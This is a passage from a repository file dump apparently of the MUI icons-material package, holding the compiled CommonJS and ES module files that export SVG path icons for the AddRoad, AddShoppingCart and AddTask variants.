    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18v-3h-2v3h-3v2h3v3h2v-3h3v-2zM18 4h2v9h-2zM4 4h2v16H4zm7 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2z\"\n}), 'AddRoadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddRoadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18v-3h-2v3h-3v2h3v3h2v-3h3v-2zM18 4h2v9h-2zM4 4h2v16H4zm7 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2z\"\n}), 'AddRoadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddRoadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18v-2c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1zM19 4c-.55 0-1 .45-1 1v7c0 .55.45 1 1 1s1-.45 1-1V5c0-.55-.45-1-1-1M5 20c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v14c0 .55.45 1 1 1m7-12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m0 6c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m0 6c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1\"\n}), 'AddRoadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddRoadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18v-2c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1zM19 4c-.55 0-1 .45-1 1v7c0 .55.45 1 1 1s1-.45 1-1V5c0-.55-.45-1-1-1M5 20c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v14c0 .55.45 1 1 1m7-12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m0 6c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m0 6c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1\"\n}), 'AddRoadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddRoadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18v-3h-2v3h-3v2h3v3h2v-3h3v-2zM18 4h2v9h-2zM4 4h2v16H4zm7 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2z\"\n}), 'AddRoadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddRoadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18v-3h-2v3h-3v2h3v3h2v-3h3v-2zM18 4h2v9h-2zM4 4h2v16H4zm7 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2z\"\n}), 'AddRoadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddRoadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18v-3h-2v3h-3v2h3v3h2v-3h3v-2zM18 4h2v9h-2zM4 4h2v16H4zm7 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2z\"\n}), 'AddRoadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddRoadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18v-3h-2v3h-3v2h3v3h2v-3h3v-2zM18 4h2v9h-2zM4 4h2v16H4zm7 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2z\"\n}), 'AddRoadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13h-5v5c0 .55-.45 1-1 1s-1-.45-1-1v-5H6c-.55 0-1-.45-1-1s.45-1 1-1h5V6c0-.55.45-1 1-1s1 .45 1 1v5h5c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'AddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13h-5v5c0 .55-.45 1-1 1s-1-.45-1-1v-5H6c-.55 0-1-.45-1-1s.45-1 1-1h5V6c0-.55.45-1 1-1s1 .45 1 1v5h5c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'AddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13h-6v6h-2v-6H5v-2h6V5h2v6h6z\"\n}), 'AddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13h-6v6h-2v-6H5v-2h6V5h2v6h6z\"\n}), 'AddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddShoppingCart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 9h2V6h3V4h-3V1h-2v3H8v2h3zm-4 9c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-9.83-3.25.03-.12.9-1.63h7.45c.75 0 1.41-.41 1.75-1.03l3.86-7.01L19.42 4h-.01l-1.1 2-2.76 5H8.53l-.13-.27L6.16 6l-.95-2-.94-2H1v2h2l3.6 7.59-1.35 2.45c-.16.28-.25.61-.25.96 0 1.1.9 2 2 2h12v-2H7.42c-.13 0-.25-.11-.25-.25\"\n}), 'AddShoppingCart');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddShoppingCart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 9h2V6h3V4h-3V1h-2v3H8v2h3zm-4 9c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-9.83-3.25.03-.12.9-1.63h7.45c.75 0 1.41-.41 1.75-1.03l3.86-7.01L19.42 4h-.01l-1.1 2-2.76 5H8.53l-.13-.27L6.16 6l-.95-2-.94-2H1v2h2l3.6 7.59-1.35 2.45c-.16.28-.25.61-.25.96 0 1.1.9 2 2 2h12v-2H7.42c-.13 0-.25-.11-.25-.25\"\n}), 'AddShoppingCart');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddShoppingCartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 9h2V6h3V4h-3V1h-2v3H8v2h3zm-4 9c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03l3.86-7.01L19.42 4l-3.87 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7z\"\n}), 'AddShoppingCartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddShoppingCartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 9h2V6h3V4h-3V1h-2v3H8v2h3zm-4 9c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03l3.86-7.01L19.42 4l-3.87 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7z\"\n}), 'AddShoppingCartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddShoppingCartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 9c.55 0 1-.45 1-1V6h2c.55 0 1-.45 1-1s-.45-1-1-1h-2V2c0-.55-.45-1-1-1s-1 .45-1 1v2H9c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1m-5 9c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03l3.24-6.14c.25-.48.08-1.08-.4-1.34-.49-.27-1.1-.08-1.36.41L15.55 11H8.53L4.27 2H2c-.55 0-1 .45-1 1s.45 1 1 1h1l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h11c.55 0 1-.45 1-1s-.45-1-1-1H7z\"\n}), 'AddShoppingCartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddShoppingCartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 9c.55 0 1-.45 1-1V6h2c.55 0 1-.45 1-1s-.45-1-1-1h-2V2c0-.55-.45-1-1-1s-1 .45-1 1v2H9c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1m-5 9c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03l3.24-6.14c.25-.48.08-1.08-.4-1.34-.49-.27-1.1-.08-1.36.41L15.55 11H8.53L4.27 2H2c-.55 0-1 .45-1 1s.45 1 1 1h1l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h11c.55 0 1-.45 1-1s-.45-1-1-1H7z\"\n}), 'AddShoppingCartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddShoppingCartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 9h2V6h3V4h-3V1h-2v3H8v2h3zm-4 9c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03l3.86-7.01L19.42 4l-3.87 7H8.53L4.27 2H1v2h2l3.6 7.59L3.62 17H19v-2H7z\"\n}), 'AddShoppingCartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddShoppingCartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 9h2V6h3V4h-3V1h-2v3H8v2h3zm-4 9c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03l3.86-7.01L19.42 4l-3.87 7H8.53L4.27 2H1v2h2l3.6 7.59L3.62 17H19v-2H7z\"\n}), 'AddShoppingCartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddShoppingCartTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 9h2V6h3V4h-3V1h-2v3H8v2h3zm-4 9c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03l3.86-7.01L19.41 4l-3.86 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7z\"\n}), 'AddShoppingCartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddShoppingCartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 9h2V6h3V4h-3V1h-2v3H8v2h3zm-4 9c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03l3.86-7.01L19.41 4l-3.86 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7z\"\n}), 'AddShoppingCartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddTask.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 5.18 10.59 16.6l-4.24-4.24 1.41-1.41 2.83 2.83 10-10zM12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8c1.57 0 3.04.46 4.28 1.25l1.45-1.45C16.1 2.67 14.13 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c1.73 0 3.36-.44 4.78-1.22l-1.5-1.5c-1 .46-2.11.72-3.28.72m7-5h-3v2h3v3h2v-3h3v-2h-3v-3h-2z\"\n}), 'AddTask');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddTask.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 5.18 10.59 16.6l-4.24-4.24 1.41-1.41 2.83 2.83 10-10zM12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8c1.57 0 3.04.46 4.28 1.25l1.45-1.45C16.1 2.67 14.13 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c1.73 0 3.36-.44 4.78-1.22l-1.5-1.5c-1 .46-2.11.72-3.28.72m7-5h-3v2h3v3h2v-3h3v-2h-3v-3h-2z\"\n}), 'AddTask');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddTaskOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 5.18 10.59 16.6l-4.24-4.24 1.41-1.41 2.83 2.83 10-10zM12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8c1.57 0 3.04.46 4.28 1.25l1.45-1.45C16.1 2.67 14.13 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c1.73 0 3.36-.44 4.78-1.22l-1.5-1.5c-1 .46-2.11.72-3.28.72m7-5h-3v2h3v3h2v-3h3v-2h-3v-3h-2z\"\n}), 'AddTaskOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddTaskOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 5.18 10.59 16.6l-4.24-4.24 1.41-1.41 2.83 2.83 10-10zM12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8c1.57 0 3.04.46 4.28 1.25l1.45-1.45C16.1 2.67 14.13 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c1.73 0 3.36-.44 4.78-1.22l-1.5-1.5c-1 .46-2.11.72-3.28.72m7-5h-3v2h3v3h2v-3h3v-2h-3v-3h-2z\"\n}), 'AddTaskOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddTaskRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.29 5.89-10 10c-.39.39-1.02.39-1.41 0l-2.83-2.83a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l2.12 2.12 9.29-9.29c.39-.39 1.02-.39 1.41 0 .4.39.4 1.02.01 1.41M12 20c-4.71 0-8.48-4.09-7.95-8.9.39-3.52 3.12-6.41 6.61-6.99 1.81-.3 3.53.02 4.99.78.39.2.86.13 1.17-.18.48-.48.36-1.29-.24-1.6-1.47-.75-3.13-1.16-4.9-1.11-5.14.16-9.41 4.34-9.67 9.47C1.72 17.24 6.3 22 12 22c1.2 0 2.34-.21 3.41-.6.68-.25.87-1.13.35-1.65-.27-.27-.68-.37-1.04-.23-.85.31-1.77.48-2.72.48m7-5h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1h-2v-2c0-.55-.45-1-1-1s-1 .45-1 1z\"\n}), 'AddTaskRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddTaskRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.29 5.89-10 10c-.39.39-1.02.39-1.41 0l-2.83-2.83a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l2.12 2.12 9.29-9.29c.39-.39 1.02-.39 1.41 0 .4.39.4 1.02.01 1.41M12 20c-4.71 0-8.48-4.09-7.95-8.9.39-3.52 3.12-6.41 6.61-6.99 1.81-.3 3.53.02 4.99.78.39.2.86.13 1.17-.18.48-.48.36-1.29-.24-1.6-1.47-.75-3.13-1.16-4.9-1.11-5.14.16-9.41 4.34-9.67 9.47C1.72 17.24 6.3 22 12 22c1.2 0 2.34-.21 3.41-.6.68-.25.87-1.13.35-1.65-.27-.27-.68-.37-1.04-.23-.85.31-1.77.48-2.72.48m7-5h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1h-2v-2c0-.55-.45-1-1-1s-1 .45-1 1z\"\n}), 'AddTaskRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddTaskSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 5.18 10.59 16.6l-4.24-4.24 1.41-1.41 2.83 2.83 10-10zM12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8c1.57 0 3.04.46 4.28 1.25l1.45-1.45C16.1 2.67 14.13 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c1.73 0 3.36-.44 4.78-1.22l-1.5-1.5c-1 .46-2.11.72-3.28.72m7-5h-3v2h3v3h2v-3h3v-2h-3v-3h-2z\"\n}), 'AddTaskSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddTaskSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 5.18 10.59 16.6l-4.24-4.24 1.41-1.41 2.83 2.83 10-10zM12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8c1.57 0 3.04.46 4.28 1.25l1.45-1.45C16.1 2.67 14.13 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c1.73 0 3.36-.44 4.78-1.22l-1.5-1.5c-1 .46-2.11.72-3.28.72m7-5h-3v2h3v3h2v-3h3v-2h-3v-3h-2z\"\n}), 'AddTaskSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddTaskTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 5.18 10.59 16.6l-4.24-4.24 1.41-1.41 2.83 2.83 10-10zM12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8c1.57 0 3.04.46 4.28 1.25l1.45-1.45C16.1 2.67 14.13 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c1.73 0 3.36-.44 4.78-1.22l-1.5-1.5c-1 .46-2.11.72-3.28.72m7-5h-3v2h3v3h2v-3h3v-2h-3v-3h-2z\"\n}), 'AddTaskTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddTaskTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 5.18 10.59 16.6l-4.24-4.24 1.41-1.41 2.83 2.83 10-10zM12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8c1.57 0 3.04.46 4.28 1.25l1.45-1.45C16.1 2.67 14.13 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c1.73 0 3.36-.44 4.78-1.22l-1.5-1.5c-1 .46-2.11.72-3.28.72m7-5h-3v2h3v3h2v-3h3v-2h-3v-3h-2z\"\n}), 'AddTaskTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToDrive.js",
